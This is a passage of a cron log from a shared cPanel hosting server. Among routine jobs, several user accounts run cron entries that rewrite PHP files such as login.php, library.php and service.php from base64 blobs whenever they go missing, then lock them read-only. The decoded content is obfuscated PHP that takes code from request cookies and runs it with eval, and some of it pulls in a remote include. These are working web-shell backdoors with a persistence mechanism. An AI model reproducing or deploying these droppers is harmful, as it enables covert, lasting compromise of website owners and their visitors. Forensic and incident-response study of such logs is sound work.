kX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:31:02 medusa CROND[13359]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:32:01 medusa CROND[5528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:32:01 medusa CROND[5569]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:32:01 medusa CROND[5586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:32:01 medusa CROND[5587]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:32:01 medusa CROND[5588]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:32:01 medusa CROND[5590]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:32:01 medusa CROND[5592]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:32:01 medusa CROND[5591]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:32:01 medusa CROND[5600]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:32:01 medusa CROND[5602]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:32:01 medusa CROND[5603]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:32:01 medusa CROND[5604]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:32:01 medusa CROND[5607]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:33:01 medusa CROND[29446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:33:01 medusa CROND[29447]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:33:01 medusa CROND[29448]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:33:01 medusa CROND[29449]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:33:01 medusa CROND[29451]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:33:01 medusa CROND[29452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:33:01 medusa CROND[29454]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:33:01 medusa CROND[29457]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:33:01 medusa CROND[29458]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:33:01 medusa CROND[29461]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:33:01 medusa CROND[29462]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:33:01 medusa CROND[29468]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:34:01 medusa CROND[21465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:34:01 medusa CROND[21466]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:34:01 medusa CROND[21467]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:34:01 medusa CROND[21468]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:34:01 medusa CROND[21469]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdW